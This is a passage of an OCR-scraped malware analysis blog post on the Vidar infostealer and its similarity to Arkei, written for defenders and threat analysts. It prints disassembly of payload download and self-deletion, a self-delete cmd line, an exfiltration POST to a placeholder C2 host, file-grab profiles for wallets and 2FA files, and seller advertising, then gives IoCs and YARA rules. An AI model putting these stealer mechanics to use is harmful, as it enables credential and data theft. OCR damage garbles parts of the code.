Otherwise, other processes cannot open the file or device if they request read access.”

40000000h : Write access (GENERIC_WRITE)
ebp+IpFileName : The generated filename
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When it’s done, it only needs to Write content into the files (WriteFile) and then close the corresponding handle
(CloseHandle)

A J
I
push edi ; hTemplateFile
push 8oh ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push edi ; lpSecurityAttributes
push 1 ; dwShareMode
push 40000000h : dwDesiredAccess

push [ebp+lpFileName] ; lpFileName
call ds:CreateFileA

mov ebx, eax

cmp ebx, OFFFFFFFFh

jz short loc_408A35

: |
_  J
il il 55
push edi ; lpoverlapped
lea eax, [ebp+lpFileName] Lloc_408A35:
push eax ; LpNumberOfBytesWritten xor eax, eax
push dword ptr [esi+34h] ; nNumberOfBytesToWrite
mov [ebp+1pFileName], edi
push dword ptr [esi+28h] ; lpBuffer
push ebx ; hFile
call ds:WriteFile
push ebx ; hObject
call ds:CloseHandle
xor eax, eax
inc eax
jmp short loc_408A37
1
- W

So now, the file is downloaded and saved into the disk, it only needs to be launched with ShellExecuteA. So don’t hesitate to

breakpoint this API function, for grabbing the payload before it’s too late for further analysis.
Killing Part

So when all the task of the stealer is finally accomplished and cleaned, the stealer needs to erase itself. So first of all, it

retrieves this own PID with the help of GetCurrentProcessld.

push OB4h

mov eax, offset loc_473CAE
call __EH_prolog3_catch_GS

mov esi, ds:GetCurrentProcessId
xor edi, edi

mov ebx, ecx

mov [ebp+var_4], edi

call esi ; GetCurrentProcessId
push eax ; dwProcessId
lea eax, [ebp+var_BC]

push eax ; int

mov ecx, ebx

call func_GetCurrentProcessPath
mov [ebp+var_col, eax

mov byte ptr [ebp+var_4], 1
call esi ; GetCurrentProcessId
push eax

lea eax, [ebp+var_AB]

push eax

mov ecx, ebx

call func_GetProcessIdName

push eax

When it’s done, it enters into “func_GetProcessIdName”, tries to open a handle on his own process with OpenProcess, if it
failed, it continues to check and in the end the most important task here is to call GetModuleBaseNameA, which it permits

to retrieve the name of the process name with the help of the PID that was obtained before.
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push [ebp+188h+dwProcessId] ; dwProcessId
push ] ; bInheritHandle
push 410h ; dwDesiredAccess
call ds:0penProcess

mov esi, eax

test esi, esi

jz short loc_452802

I
lea eax, [ebp+108h+cbNeeded]
push eax ; lpcbNeeded
push 4 ; cb

lea eax, [ebp+l08h+dwProcessId]
push eax : lphModule
push esi ; hProcess
call EnumProcessModules

test eax, eax

jz short loc_452802
5 [

push 104h ; nSize

lea eax, [ebp+188h+BaseName]

push eax ; lpBaseName

push [ebp+108h+dwProcessId] ; hModule

push esi ; hProcess
call GetModuleBaseNameA

; hObject

puEH esi
call ds:CloseHandle

Some strings that are hardcoded on .rdata section are called and saved for future purposes.

.rdata:0047F3C8 ; CHAR File[]

.rdata:0047F3C8 File db 'C:\Windows\System32\cmd.exe',®

.rdata:0047F3C8 ; DATA XREF: func_KillProcess+Flro
.rdata:0047F3E4 aExit db ' & exit',0 ; DATA XREF: func_KillProcess+8Eto
.rdata:0047F3EC aFErase db ' /f & erase ',0 ; DATA XREF: func_KillProcess+5Ero
.rdata:0047F3F9 align 4

.rdata:0047F3FC aCTaskkillIm db '/c taskkill /im ',0 ; DATA XREF: func_KillProcess+4Cto
.rdata:0047F40D align 10h

When the request is finely crafted, Vidar is simply using ShellExecuteA to pop a command shell and executing the task, this

permit to erase all trace of the interaction of the payload on the machine.

vy
IHE]
loc_45293D: ; nShowCmd
push edi
push edi : lpDirectory
push eax ; LpParameters
push offset File 3 "Co\\Windows\\System32\\cmd.exe"
push edi ; lpOperation
push edi ; hwnd
call ds:ShellExecuteA
push edi
push esi
lea ecx, [ebp+lpParameters]
call func_FreeValue

1
So if we want a quick overview of the executed command:
C:\Windows\System32\cmd.exe” /c taskkill /im vidar.exe /f & erase C:\Users\Pouet\AppData\Local\Temp\vidar.exe & exit
Literally:

Offset File + db ¢/c taskkill /im’ + [GetModuleBaseNameA] + db ¢ /f & erase’ + [GetModuleFileNameExA +
GetModuleBaseNameA]+ + db ¢ & exit’

Sending archive to the C2

Folder generation
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COUNTRY + “_” + Machine GUID + “.zip”
in example :
NG_d6836847-act3-4cee-945d-10c9982b53d1.zip

Last POST request

During the generation of the POST request, the generated HTTP packet is tweaked to add some additional content that the

C2 server will read and process data.

mov edi, offset asc_4766DC ; "\ r\n"

push edi

mov ecx, esi

call func_ConcatStrings_04

push offset aContentDisposi ; "Content-Disposition: form-data; name=\""
mov ecx, esi

call func_ConcatStrings_04

push [esp+8+arg_0]

mov ecx, esi

Each name at the end of the string will be the corresponding field to be saved into the database. This at least, all the different
Content-Disposition that will be added to the HTTP request.

hwid Hardware ID

0s Operating System

platform 32 or 64 bits System

profile C2 Profile ID

user Name of the victim account

cccount Number of Credit Cards stolen

ccount Number of Coins Stolen (CryptoWallet)
fcount Number of files stolen

telegram Telegram =

ver The version of the Vidar malware

Also, there is a little trick here that I found nice. Here, the answer to the POST request is in fact, containing the config for
the loader.

« If there is nothing, the response is “ok”

o If there is something, the specified url(s) are stored.

s ooz CCEET) WTTp/1.1 200 0K _(application/x-nsdos program)
I 6724689 Wi

535 POST /Line/ HTTP/L.1

75 5 qeeran WTTP/1.1 200 OK_(text/plain)

12.722526
S s arrese 1 200 OK_(appLication/x-msdownload)
T s Tosinn GET /50Tt z01 0. ve HTTP/11

Its the same thing used for the config and the network information.
Example with a sandbox :

e The POST request
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TrID - File Identifier

-
{n
w
=
o
o
=

e The response of this POST request (select the tab)

A
2] L

TrID - File Identifier

RESPONSE

Server-Side

Because it’s easy to find some information about the stealer, no needs to dig hard to have some marketplace where Vidar is
sold. So let’s see how it looks like by looking some classical commercial video (all the screenshot are collected from there),
for attracting some possible customers. This could be completely different at that time, but it’s what it was looking like at the

beginning of November.

Login

Page 23 of 36



https://fumikO.com/2018/12 /24 /lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/

Sign i — Vidarpro

Vidar Pro
G

ult

Dashboard

The panel is a classical fancy user-friendly interface, with all the basic information necessary for the customer to have a fast

view how is goin’ his business.

o The current version of the builder
o Until when he is able to generate some payloads
¢ How many victims

e The current balance on his account to re-subscribe again

Dashboard

BuLDeR wALLET
Till 20-11-2018 (5 days) /1 0.00000

Extand Deposit

Logs

something to mention with the log part is that it’s possible to put some notes on each data.

T R—— O S 1 B Bw B e B 7 Witk P —
Faverites  pide empry
a wiey  yweday  week momh
™ Nates o counry 10 Oute add
@ = m Bee
= a EZE o = T 3m. 305 wazen
@ I
i ; 2018 19
Selectal wihsetee: WMovetoarchve W Movefrom archive B

Passwords
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Vidar Prc = (2]
s Pr— N S— Empty Username
Empty Password
3 soft uRL S
. . -
- . -
. " »
] » .
[ . s
[ - M
. M e

Builder

The builder tab is also pretty interesting because we have the changelog information about the stealer and on the download

part, the malware generated will not be packed and this is the same scenario with Arkei.

Customer/Threat actor must have to use his own crypter/packer software for his payload.

Builder
x

period v 0 +4dd Pariod

version Changes oate

o

ool lclcoMcloNolcNol

Settings

The most important tab is obviously where it is possible to configure the payload, for grabbing some additional stuff on the

machine with the profiles. Activate or deactivate some features to filtering the stealer for really specific purposes.

It’s also important to notify, that it’s possible with Vidar to deploy multiple profiles at the same time. It means when the
payload is infecting the victim machine, X archive for X profile is saved in “files” repository. The customer could be able to

sort easily for malicious purposes after the grabbed data.
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When editing or creating a new rule, we have this prompt panel appearing and this is in relation with what explained above

with all possible path that the malware is able to search with the selected files.

Edit rule x

Name Default two
Folder  %DESKTOP%\

%DESKTOPS\ HDOCUMENTS%\ %DRIVE_FIXED®\ %DRIVE_REMOVABLEW\ %USERPROFILES:\ SAPPDATAM\
WLOCALAPPDATA®Y %C% %WD%

Files]| R ol
*dat
*wallet*.*
*2fa%x

Max size 50 B kb (1 file)

Collect recursively ()

Exceptions  moviessmusicmp3

‘0 separate exceptions use

B -

After checking a little, there is plenty of profiles on the C2. This is what we could found:

Default empty config:

1,1,1,1,1,1,1,1,0,1,250,none;

Default initialized config:

1,1,1,1,1,1,1,1,1,1,250, Default; %DESKTOP%\ ; *. txt : *.dat : *wallet*.*: *2fa*.*:*backup*.*: *code*.*: *password*.*: *ai

Examples of custom profiles:

1,1,1,1,1,1,1,1,1,1,250, grabba; %$DESKTOP%\ ; * . txt : *.dat : *wallet*. *:*2fa*. *:*backup*.*: *code*.*: *password*.*: *au
1,1,0,1,1,1,1,1,1,1,250, nHdcba; $DESKTOP%\ ; *. txt : *.dat : *wallet*.*:*2fa*.*:*backup*.*: *code*.*: *password*.*: *aut|
1,1,1,1,1,1,1,1,1,1,250, NepBoe ; SDESKTOP%\ ; *. txt: *wallet*.*:*2fa*.*: *backup*.*:*code*.*:*password*.*;50; true;
1,1,1,1,1,1,1,1,1,1,250, 123435566 ; SDESKTOP%\ ; *. txt: *.dat : *wallet*.*:*2fa*. *: *backup*. *: *code*.*: *password*.*:’
1,1,1,1,1,1,1,1,1,1,250, Default; %DESKTOP%\ ; *. txt : *.dat : *wallet*.*: *2fa*.*: *backup*.*: *code*.*: *password*.*: *ai

There are also some possibilities to see multiple profiles executed at the same time.
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1,7,7,7,7,7,0,7,7,7,259,

DESKTOP; %DESKTOP%\; *. txt:*.dat: *wallet*.*:*2fa*.*:*2fa*.png: *backup*.*:*code*.*:*password*.*:*auth*.*:*google’
DOCUMENTS ; %DOCUMENTS%\; *. txt:*.dat : *wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*: *u
DRIVE_REMOVABLE;%DRIVE_REMOVABLE%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*

they are in fact Delimited with the specific format, as detailed as above. So here, we have 3 profiles :

¢ DESKTOP
¢« DOCUMENTS
¢ DRIVE_REMOVABLE

that will be stored into there respectively archives into “files” repository.
e.d: All dumped profiles are available on my GitHub repository.

Finally, with this quick analysis of the panel, something that is more and more common nowadays with a stealer, a loader

feature, for pushing other malware.

As mentioned in the introduction, this is a shop where customers will just have to deal to configure their malware,
everything is managed by a team (?) behind for the maintenance and for avoiding proxy filtering stuff, domains are changed

regularly (it’s also easy to check this on the samples, because it looks like a new version means a new generated domain).

Nice stealer of own production which was created to automate lots of processes.

Forget about frequently banned servers(spamhaus), about domains blocking, forget about everything that you faced with other products.
We give you a unique opportunity to widely start working without any time-wasting on settings, bulds and etc.

You just need to pass a basic procedure of registration, acquire at least one month of subscription and easily start spreading your build without any troubles.
*(Already bought, set up and ran the real physical server, domains are changing every two days, powerful shield-system)

We steal: Passwords from browsers, fles on uploading which you can set paths and params of grabbing, CC, cold-storages(cold-wallets), Telegram history, o
Ber

1. Conversion of loads and stable work on any Windows versions, we took care and made conversion around from 85% and higher.

2. Always new domains for builds, we change domains every 3-4 days(old builds still work). You don't need to worry about this, we'l do this for you.

3. The system of important logs. You are able to set your tags in settings, exactly you can add sites or cookies which are important and when you receive new installations with the necessary information you will instantly get a message
inthe telegram.

4. Builder within a panel. You can get your newest buiid directly in the panel, you just need to crypt it and its done.

Also, there is some possibility (of what they said) to have a 2FA Authentication to their account page.

11. Smart logs downloading. Download logs with your settings, i there no settings download every.
12. Page with passwords. You are able to see and sort list only of necessary passwords from necessary sites for your own targets. Also smart downloading works there, you are able to set params to download your passwords.
13..2FA authorization, with this you can be totally secure that your logs are totally saved from unauthorized access.

The oftwar s otly eady o ek and have good satson converson witha good crypte
g ). You can fill your BTC balance within a panel fully automatically, from where every month will withdraw funds to pay your access.
The prce s ustified-all your data safely tore on our servrs, the host has a FastFlux and auto-domain-changing. We save your funds from buying servers, domains, servicing a roduct.

We support our product and push out free-updates every day in order to make our product work more effectively.

About security of our product:
For guys who think that using our servers is not a safe solution - | can surely say that with a pleasure we can make a re-routing your logs from your servers of just use a basic shell. We dorit do this.

Why we made a "
This system made in case of making this project on really-really big level. For this, we need guys who can make tests, find issues and help this project be alive. Soon renting of this project will be limited.

Some fancy message

if we are searching for some stuff with the login panel, with have some sympathetic message.

utilise un certificat de sécurite invalide.

Le certificat n'est valide que pour les noms suivants :
my-vidar.com, www.my-vidar.com

Code d'erreur : SSL_ERROR_BAD CERT _DOMAIN

Ajouter une exception...

Let’s see what we have behind =
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A kind of easter egg to remind us what is the signification of Vidar:

Vidar — An Arkei copycat?

Who is Vidar

Hallto the Sient One!
Hail to Leathershod!

Hall to the Wolf Ripper!

Hailto the Far-Seer!

Hail to the Survivor of Old Times!
Hail to the Son of Odin!

Hail to Fenrir's Bane!

Vidar s a god from the Aesir family of gods. He s the son of the chief of those gods,
Odin. Vidar was born to avenge his father.

In the Voluspa, it tells of a coming final battle where the gods will fight their enemies, the
giants. One of the enemies is a wolf called Fenrir. This wolf will, according to the
prediction, swallow Odin.

Odinis a clever fellow. Knowing his fate, he conspired to make some changes in the
wiay things work in the future. He sought out the correct mother for this purpose, and
created Vidar. It would be Vidar's job to destroy Fenrir.

Vidar grew quickly. His strength became as great as the strongest of the Aesir. He
was a skiled warrior and leamed his trade fast. But there is more to him.

Because he was born for the future, he had the gift of foresight. That is why he is
called Vidar the Far-Seer. He knew the nature of the future, but he did not tell the
things he saw. Itis for this reason that he is called Vidar the Silent. He knows the
patterns of the future and the likely outcome of things.

He knows thatin the Iast batte, the wolf wil swallow his father and that Vidar will but
his great boot on the lower jaw of the wolf and use his hands to hold the upper jaw.
From this position, he wil tear the wolf apart, releasing a great wind from the beasts
belly. There is speculation that this great wind is actually Odin making his escape.

This act of rending the wolf is why Vidar is called Woll Ripper and Fenrir's Bane. His
reinforced boot, for standing on the woiFs lower jaw, is why he is called Vidar
Leathershod

When the last battle is over, and the worlds are renewed, Vidar wil be one of the
surviving gods. He will be a Survivor of Oid Times.

Vidar is not an idle god while waiting for the woll to die. He is an active part of even this
noisy world. You can often find his presence in the silent places of nature. You can find
him nudging mankind into the future as we explore science and space. He is a god of
patience and foresight. He is a god of inspired thought and hope for beter days. He is
a god of seeing the patterns and estimating where they are likely 1o go.

Most importantly, Vidar is a sympathetic and caring god. He knows that humans plan
the best they can despite their imitations. He knows we race to our future without
really knowing where we will go. If he seems silent and grim, itis because he does
know where we are going and he sometimes feels bad for us

Vidar may not answer your questions directly; he has earned the name Sient One.

Howsver, il you can find the silent places and stil the noise in your mind, he may help
you see the patterns the way he does. That may be all the answer you nesd.

“the God of Vengeance” in Nordic mythology.

If we are looking to requests and code, Vidar is almost identical to Arkei. There is slightly some differences at some point

but all implemented features are the same. This could lose some blue team people if they don’t make too much attention to it

on sandbox results. Current Yara rules will trigger Vidar as Arkei, so automated assignations lead to mistakes at the moment

of this review. Analyzing the code is mandatory here to understand what’s goin’ on.

At first, the main function for both of them is similar :
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Vidar Arkei

The archive generation is also the same, so this is not with this information that it’s possible to differentiate these two

malware.
Code differences

An easy to know if we are dealing with Vidar is to find “Vidar.cpp”.

Ba473F88 64 3D 32 @6 65 68 80 88 88 43 3A 5C 58 d=2..exe....C:\P
BE473IF98 T2 6F 67 72 &0 74 61 5C 8@ 6 1 C rogramData\.fail
Be473FAB @@ B0 ae e aa @ @@ 72 8@ 63 @@ 68 @8 ....s.e.a.r.c.h.
Ba473FB@ 53 8@ 74 ae 2a @ aa 88 20 @@ 21 88 S.t.r.i.n.g.-.l.
Ba473FCe 3D @8 20 ee ee @ ee BB 61 88 63 @@ =.-.r.e.p.l.a.c.
Ba473FDB 65 @8 53 68 ee @ ae ae @ 68 88 e.S.t.r.i.n.g...
BB473FE =] ] a8 28 86 e V.iud.oa.r...c.p.
BR473FFO 00 5 4 p...netfulfilled
Ba474pBE @B 00 B0 B8 @ ....mnpayments..
88474018 & 63 61 63 E mncache.governan
00474020 a8 a8 62 ce..banlist.memp
08474030 &C 88 70 ool.peers...fee
Vidar Signature
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Vi

Vidar -
FE]
loc_40658B:
push  eax
push  offset aVidarVersionS ; “Vidar Version: “s\n\n"
push  [ebp+var_330]
call func_GetValueForInformationLog
add  esp, 6ch
push  ebx
push 1
lea  ecx, [ebp+var_68]
call  func_Freevalue
lea  eax, [ebp+var_3e]
push  eax
push offset aDates ; "Date: %s"
push  [ebp+var_330]
call func_GetValueForInformationLog
add  esp, 6ch
lea  eax, [ebp+var_68]
push  eax
lea  ecx, [ebp+var 329]
call  func_GetMachineGuid
sub  esp, 1ch
push 7
pop  ecx
mov  edi, esp
push  offset aMachineidS ; "MachineID: %s\n"
push  [ebpsvar_330]
mov  esi, eax
ron maved
Arkei signature
Vidar i S
op fedil, b [
iz loc_413536 |cmp
5
I
= ‘
push  offset aw_o " =
push  offset aFilesPasswords 0 ; "files\\passwords. txt p::h g [ebprosahtvar_60]
call  sub_45817A ea  ecx, [ebptosshivar_B5]
lpush call  sub 463489
Gl sub_assses cop amord ot eaxrisn], 100
wdd  esp, och 5o Snere foc_soreia
push ol T
bop  eax
puth
Push  offset acPrograndata ; “C:\\Prograsbata\\
lea ecx, [ebp+lpPathName]
nov  Tabpwvar ], eax
v Labpwar 381, abe
nov byt pir labpsipathianal, bU
s 401376
wp Lebpwvar. 341, 10n
nov  eax, lobpelprathiase
nov  byte pir labpevar 41, 1
inb  short loc 150
T
—_—t—]
for.om (e

Network differences

Arkei

_ Y v
il e =
loc_484466:
push  eax
push  offset aS
push  [ebptvar_336]
call  sub 455078
add esp, 8Ch
push  ebx
push 1
lea ecx, [ebp+var_84]
call  func_FreeValue
lea eax, [ebp+var_30]
push  eax
push  offset aDates "Date:
push  [ebptvar_338]
call  sub 455078
add esp, @ch
lea eax, [ebptvar_84]
push  eax
lea ecx, [ebpivar_329]
call  sub_44aCiFC
sub esp, 1ch
push 7
pop ecx
mov edi, esp
push offset aMachineidS ; "MachineID:
push  [ebptvar_338]
mov esi, eax
rep movsd
call  sub 455878
add esp, 24h
oush  ebx
am Arkei
ub_ 403459 proc near
v e dhord ptr 4
s on dord ptr
puzh
o cbp, ezp
push e
nd [ebprar_al, 0
pusn 0o 5 ne
lPush  offset aTnssrimcézfirz ; “TISSR7CAZEIRIIVZSOHRIEPKAVV 213150
push  offset unk 46F5Co 3 int
a1l sub_a1195
nov <o, [ebprarg o]
push  cox
a1l sub_ss20e
b eax; [ebprare 0]
1eave
retn s
ub_ 403435 endp

An analyst can be dupe easily with the requests and thinking that we have another form of HTTP requests with Arkei, but

it’s not.

Vidar HTTP Requests

/ (i.e 162)
ip-api.com/line/
/msvcp140.d1l
/nss3.dll
/softokn3.d1l1
/vcruntime140.d11
/

<- Config

<- Get Network Info
<- Required DLL
<- Required DLL
<- Required DLL
<- Required DLL

<- Pushing Victim Archive to (2

there are no libraries downloaded on Arkei, this is something really specific to Vidar, for some parts of the stealing process.

Arkei HTTP Requests

/index.php

<- Config

ip-api.com/line/ <- Get Network Info

/index.php

Config Format

<- Pushing Victim Archive to C2
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1111111111250 Default;%DESKTOP %\  xt:*.dat*wallet*.**2fa* *:*backup*.**code* **password*.**auth* *:*google*.**utc* **UTC***

Vidar

Navigateur Tor

1,1,1,2,2,2,1,1,1,txt;l0g;,50,2
Arkei

If you want to understand what is the purpose the config format for Arkei

1 Saved Passwords
1 Cookies / Autofill
1 History

2 CryptoCurrency
2 Skype

2 Steam

1 Telegram

1 Screenshot

1 Grabber

txt:log: Grabber Config
50 Max Size (kb)

2 Self Delete

Also, there are some slight changes in the last POST requests, Vidar is just adding new fields like the profile and the

versioning.

To understand how far the requests looks the same, let’s dig into a PCAP file. I indicated the differences in red, and apart
from the versioning and profile values, all rest is the same. But if we dig into some older sample, it’s impossible to see the

differences except the path of the request.

Last POST request — Vidar

POST / HTTP/1.1

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xb
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0

Content-Type: multipart/form-data; boundary=1BEF@A57BE110FD467A

Content-Length: 66809

Host: some. lovely.vidar.c2.with. love

Connection: Keep-Alive

Cache-Control: no-cache

--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="hwid"

90059c37-1320-41a4-b58d-2b75a9850d2
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="os"

Windows 7 Professional
--1BEF@A57BE110FD467A

Content-Disposition: form-data; name="platform"

x86
--1BEFQA57BE110FD467A
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Content-Disposition: form-data; name="profile"

XXX <- Random Int
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="user"

admin
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="cccount"

0
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="ccount"

0
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="fcount"

0
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="telegram"

0
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="ver"

4.1

--1BEF@A57BET10FD467A

Content-Disposition: form-data; name="1logs"; filename="COUNTRY_.zip"
Content-Type: zip

Features differences

When we dig into the different features, there is some config part on Vidar that is in fact just some placebo options. in an
example, the Steam stealing feature is implemented in Arkei is not found in Vidar. This is also the same thing with Skype

but in contrary 2FA stealing stuff is only on Vidar (with what I have seen on samples in my possession).

rdata:0047... 00000016 [+ configi\oginusers.vdf

rdata:0047... 00000012 [ configh\config. vdf

.rdata:0047... 0000000D (o] WWilesY\Steam
.rdata:0047... 00000015 C SourceModlnstallPath
.rdata:0047... 00000015 [ Software|\Walve\Steam
.rdata:0047...  0000OD0CE [ Vifiles\\Steaml)

.rdata:0047... 00000026

P .rdata:0047.. 000000OD C VWiles\\Skype

Fs'| rdata:0047.. 00000025 C \WMicrosoft\\Skype for Desktop\\skylibty
.rdata:0047... 00000009 [ Yimain.db

c

\WMicrosoft\Skype for Desktop\skylb\\™

Strings only present in Arkei and not in the Vidar that I analyzed
Is Arkei still active and maintained?

On one of the selling page of this stealer, it’s still sold and continue to be updated. For example, it reveals that soon a final

update on it will be pushed (v10). So let’s see how this will turn.

The last days of huge discounts on the best software of the market!
Further prices will only be raised!
E i
OVERDOT Arkei Stealer & Loader was 50001 now 2500R
SR . e 100, Gt pdate vhich ve il remove i fom the market

OVERDOT

Supreme ++ hidden miner and Loader were 3000R now 1500R

of all services is also reduced by 2 times.

_ To view the link,

The Vidar Cracked Version
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There is also in the wild a cracked version that was already spotted by some people on twitter. This Vidar or “Anti-Vidar” as

called in the source code of the panel and It’s based on an early Vidar build (v2.3 it seems).
Login

The login is identical to the Android Lokibot panel (thanks to @siri urz). As always when confronted at this kind of stuff,

the code never lies (or it seems) for helping us to identify what is the real C2/Malware.

Profile code

The profile is far more simple than the nowadays panels and samples, the default profile is hardcoded on the PHP file, and

will get it if the value is 11.

IoCs

SHA256 Hashes
 17498 ACEBB74D02EB4AFOAGD2E
65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BESOA
20E92C2BF75C473B745617932F8DCOF8051BFC2F91BB938B2CC1CD808EBBC675
C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADES
AE2EBF5B5813F92B0F7D6FCBADFAGE340646E4A776163AE86905E735A4B895A0
8F73E9C44C86D2BBADC545CED244F38472C5AACEOF75F57C8FC2398CEOA7F5A1

thx @benkow _ for the help to find some samples =
Domains

malansio.com
nasalietco.com
binacoirel.com
newagenias.com
bokolavrstos.com
naicrose.com
benderio.com

cool3dmods.com

MITRE ATT&CK
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o Discovery — System Information Discovery,

¢ Discovery — System Time Discovery

¢ Discovery — Process Discovery
» Execution — Command-Line Interface

» Execution — Execution through Module Load

Credential Access — Credentials in Files

Collection — Screen Capture
Collection — Data From Removable Media

e Collection — Data from Local System
Exfiltration — Data Compressed

Yara Rules

Vidar

rule Vidar_Stealer : Vidar
{
meta:
description = "Yara rule for detecting Vidar stealer"
author = "Fumik@_"

strings:
$mz = { 4D 5A }

$s1 = { 56 69 64 61 72 }

$s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 }
condition:

$mz at @ and ( (all of ($s*)) )

rule Vidar_Early : Vidar

{
meta:
description = "Yara rule for detecting Vidar stealer - Early versions"
author = "Fumik@_"
strings:
$mz = { 4D 5A }
$s1 = {56 69 64 6172}
$hx1 = { 56 00 69 00 64 00 61 00 72 @0 2E 00 63 00 70 00 70 00 }
condition:
$mz at @ and all of ($hx*) and not $s1
}

rule AntiVidar : Vidar

{
meta:
description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version"
author = "Fumik@_"
strings:
$mz = { 4D 5A }
$s1 = { 56 69 64 61 72 }
$hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
$hx2 = { 78 61 6B 66 6F 72 2E 6E 65 74 00 }
condition:
$mz at @ and all of ($hx*) and not $s1
}
Arkei

rule Arkei : Arkei
rule Arkei : Arkei
{
meta:
Author = "Fumik@_ "
Description = "Rule to detect Arkei"
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Date = "2018/12/11"

strings:
$mz = { 4D 5A }

$s1 = "Arkei" wide ascii

$s2 = "/server/gate" wide ascii

$s3 = "/server/grubConfig" wide ascii
$s4 = "\\files\\" wide ascii

$s5 = "SQLite" wide ascii

$x1 = "/c taskkill /im" wide ascii

$x2 = "screenshot.jpg" wide ascii

$x3 = "files\\passwords.txt" wide ascii
$x4 = "http://ip-api.com/line/" wide ascii
$x5 = "[Hardware]" wide ascii

$x6 = "[Network]" wide ascii

$x7 = "[Processes]" wide ascii

$hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }

condition:
$mz at 0 and
( (all of ($s*)) or ((all of ($x*)) and not $hx1))
}
Github

o Extract Vidar Config

o Profiles dumped

Recommendations
This is, as usual, the same thing that I said about my precedent blog post.

« Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools)
to trigger as much as possible all kind of possible Anti-VM detection and closing malware.

» When you have done with your activities stop the VM and restore it with a Specific clean snapshot.

» Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.

» Don’t be stupid to click on cracks on youtube, hack software for popular games, or “wonderful” easy cash money
(like Free Bitcoin Program /facepalm).

 Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.

» Don’t use the same password for all your websites (use 2FA and it’s possible).

Conclusion

This analysis was a kind of a mystery game. It’s hard to understand if Vidar is an evolution of Arkei or a forked malware
based on his code. As far it seems this is currently an active one and growing up. A lot of updates are pushed on it regularly
probably due because this is a young (forked/copycat) malware. With the fact, that this stealer was also using the skin theme
of Android Lokibot (due to the cracked version), this could really lose some minds for identifying what is the correct name
of the C2, without any samples to analyze. For now, let’s see with the time if we will more answers to put the puzzle
together for this stealer. \_(*/)_/~

On my side, if I could sum up this year. I have done way more things than I could imagine because 2018 was a really
“reaaalllyyyy” thought year, with a lot of problems and huge issues. Let’s see how this next year will be. But now, it’s time

to rest and eat because there were so many sleep hours destroy and skip meals this year for learning stuff.

Special thanks to my buddies (they will know who they are), you are the best <3
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https://github.com/Fmk0/scripts/blob/master/izanami.py
https://github.com/Fmk0/work/tree/master/Vidar

https://fumikO.com/2018/12 /24 /lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/

#HappyHunting
#SeeYouln2019

Source: https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/
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